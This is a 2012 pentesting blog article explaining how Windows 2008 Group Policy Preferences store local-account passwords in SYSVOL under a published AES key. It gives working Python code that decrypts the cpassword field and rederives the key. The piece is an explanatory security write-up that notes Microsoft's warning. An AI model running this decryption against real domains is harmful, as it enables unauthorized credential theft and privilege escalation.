Exploiting Windows 2008 Group Policy Preferences

Fri 20 January 2012 by trance

Internal network pentesting involving domain controllers requires a few steps in order to gain domain administrator access. One of them usually requires to gain local administrator access to a workstation. In this article, we show how this can be possible from a limited domain user account when specific Group Policy Preferences (GPP) are deployed. GPP are new Active Directory features introduced in Windows 2008; documenting all of them is not the purpose of this article. We focus on the one called Local Users and Groups, that enables a domain administrator to remotely create local accounts on a given list of machines. After explaining how those settings, and especially passwords, are downloaded on domain workstations, we highlight an existing but poorly known vulnerability documented feature enabling any limited domain user to instantly decrypt them.

Introducing the "Local Users and Groups" GPP

In order to understand how this GPP work, we setup a lab composed of two machines: a Windows 2008 Server and an XP Pro machine with Client Side Extensions installed. CSE are necessary to support Windows 2008 GPP on Windows versions older than 7; they can be downloaded as an update package. After installing the Active Directory role, we create a DC2008.lab domain, as well as a Bob domain user. Then, we join the XP workstation onto the domain with our fresh DC2008Bob account. GPP can be configured using 2008's " Group Policy Management " (gpmc.msc) GUI

Clicking on "Edit" opens up a new window, from where we can define our policies. We select either "Computer Configuration" or "User configuration", then "Local Users and Groups", and we create a new user.

For test purposes, we call him MyLocalUser and we give him a password "Local*P4ssword!" that never expires.

Finally, we add Domain Computers to the GPO scope and make sure it is enabled (and link-enabled). We run the gpupdate command on the XP Pro client to update the policy.

C:\Documents and Settings\Bob>gpupdate && net user
Actualisation de la strat├ęgie...

User L'actualisation de la strat├ęgie s'est terminee.
Computer L'actualisation de la strategie s'est terminee.


comptes d'utilisateurs de \\XPPROTEST

-
Administrateur           Test                    Invite
MyLocalUser
La commande s'est terminee correctement.

We can see that MyLocalUser has been created on the machine. We try to log on using MyLocalUser : Local*P4ssword! and it works

A first black box approach

How was this account downloaded from the domain controller to the machine ? Let's find out using Wireshark. Hereunder is a network capture shot after starting the gpupdate command again.

We can see that an XML file is downloaded from the Sysvol share on the domain controller. This file is readable with our limited Bob account.

Here is its content:

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
   <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="MyLocalUser" image="0" changed="2011-12-26 10:21:37" uid="{A5E3F388-299C-41D2-B937-DD5E638696FF}">
        <Properties action="C" fullName="" description="" cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="" userName="MyLocalUser" />
    </User>
</Groups>

This file describes the properties of each user or group added with the previous GUI. The cpassword attribute of the Properties tag seems pretty interesting... Let's Base64-decode it:

# The last " = " sign is added for padding
>>> b64decode("j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw=")
   '\x8fU2\x8fuq\xf16=.\xd2\xd9\x8a]\xae\x02\xe6d\x15\x00?\xe2V\xadO\xbe\x99\xc2\x07Gv\x1c'

All we get is a 32 byte binary blob; chances are it is encrypted. But since the workstation is able to create the user with the correct password, the decryption key has to be somewhere on the machine...

RTFM(SDN)

A few web searches lead to a pretty interesting Technet article:

Are passwords in preference items secure?

A password in a preference item is stored in SYSVOL in the GPO containing that preference item. To obscure the password from casual users, it is not stored as clear text in the XML source code of the preference item. However, the password is not secured. Because the password is stored in SYSVOL, all authenticated users have read access to it. Additionally, it can be read by the client in transit if the user has the necessary permissions.

Because passwords in preference items are not secured, we recommend that you carefully consider the security ramifications when deciding whether to store passwords in preference items. If you choose to use this feature, we recommend that you consider creating dedicated accounts for use with it and that you do not store administrative passwords in preference items.

Microsoft themselves says that the password is not stored securely, and that it can be read by a client. And by digging a bit more on MSDN we hit upon the Product Behavior appendix. This document shortly explains that the password is encrypted using AES 256, and the key is generated with a constant seed. The key value itself is even documented in this MSDN endnote:

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.

The 32-byte AES key is as follows:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

Decrypting the password

We now have both the encrypted password and the decrytption key. Using PyCrypto, we can implement the decryption algorithm very quickly:

from Crypto.Cipher import AES
from base64 import b64decode
key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33  b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')

cpassword = b64decode("j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw=")

o = AES.new(key, 2).decrypt(cpassword)

print [i for i in o]

Here is the result:

['L', '\x00', 'o', '\x00', 'c', '\x00', 'a', '\x00', 'l', '\x00', '*', '\x00', 'P', '\x00', '4', '\x00', 's', '\x00', 's', '\x00', 'w', '\x00', 'o', '\x00', 'r', '\x00', 'd', '\x00', '!', '\x00', '\x02', '\x02']

The output looks like Windows Unicode (UTF-16) and the last two bytes are due to PKCS7 padding. We can decode it this way:

>>> print o[:-ord(o[-1])].decode('utf16')
Local*P4ssword!

Thus any password can be decrypted easily with only a few lines of Python. We packaged this algorithm in a small tool called gpprefdecrypt.py, that you can download here.

Key generation

What about the seed used for generating the key? According to Microsoft, the key is generated using this seed:

0x71 0x46 0x32 0x0f 0x64 0x10 0x00

The generation algorithm is:

CryptAcquireContext( &hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);

CryptCreateHash( hCryptProv, CALG_SHA1, 0, 0, &hHash );

CryptHashData(hHash, (BYTE *)szKey, strKey.GetLength(), 0);

CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, CRYPT_NO_SALT | CRYPT_EXPORTABLE, &hKey);

Some CryptDeriveKey() internals are also documented by Microsoft:

::
Form a 64-byte buffer by repeating the constant 0x36 64 times. Let k be the length of the hash value that is represented by the input parameterhBaseData. Set the first k bytes of the buffer to the result of an XOR operation of the first k bytes of the buffer with the hash value that is represented by the input parameter hBaseData;
  1. Hash the result of step 1 by using the same hash algorithm as that used to compute the hash value that is represented by the hBaseData parameter;
  2. Hash the result of step 2 by using the same hash algorithm as that used to compute the hash value that is represented by the hBaseData parameter;
  3. Concatenate the result of step 3 with the result of step 4;
  4. Use the first n bytes of the result of step 5 as the derived key.

Here is the corresponding algorithm implemented in Python:

from hashlib import sha1

def prehash(key, byte):
    return sha1(''.join([chr(ord(i)^byte) for i in sha1(key).digest()]+[chr(byte)]*44)).digest()

def cryptderivekey(key):
    return (prehash(key,0x36)+prehash(key,0x5c))[:32]

print cryptderivekey(''.join(chr(i) for i in [0x71, 0x46, 0x32, 0x0f, 0x64, 0x10, 0x00])).encode('hex')

Let's run it:

c90cc638b10ccf81b8bedc25332ff758573247aaff86c83fbd68248512ddfec8

We can see that the generated key is different than the one we used previously. But since the first one works and the second does not, we can assume the incorrect seed is a MSDN typo.

The easiest solution to get the correct seed value is to hook the CryptHashData() function and dump the content of its input buffer.This can be easily performed using APIMonitor by hooking the winlogon.exe process.

The correct seed is [0x71, 0x60, 0x46, 0x32, 0x0f, 0x64, 0x10]. Let's check if it is correct using our CryptDeriveKey() implementation:

>>> print cryptderivekey(''.join(chr(i) for i in [0x71, 0x60, 0x46, 0x32, 0x0f, 0x64, 0x10])).encode('hex')
4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b

The seed is pretty similar to the one in MSDN, but different enough to prevent password decryption.

Conclusion

This article highlighted an existing technique to decrypt passwords of local accounts pushed by the domain controller. Absolutely no bruteforce is required since the key is hardcoded within the OS. This technique only requires a valid domain account in order to read the domain controller's Sysvol share. It isn't new; Microsoft is aware of this problem and documents (almost) every part of it, while advising administrators against using this feature for defining sensitive accounts, and especially administrative ones. However, experience shows that in many companies a local administrator account is present on every machine with the same password. We already knew it is bad, but if this local account has been created using GPP, this is even worst.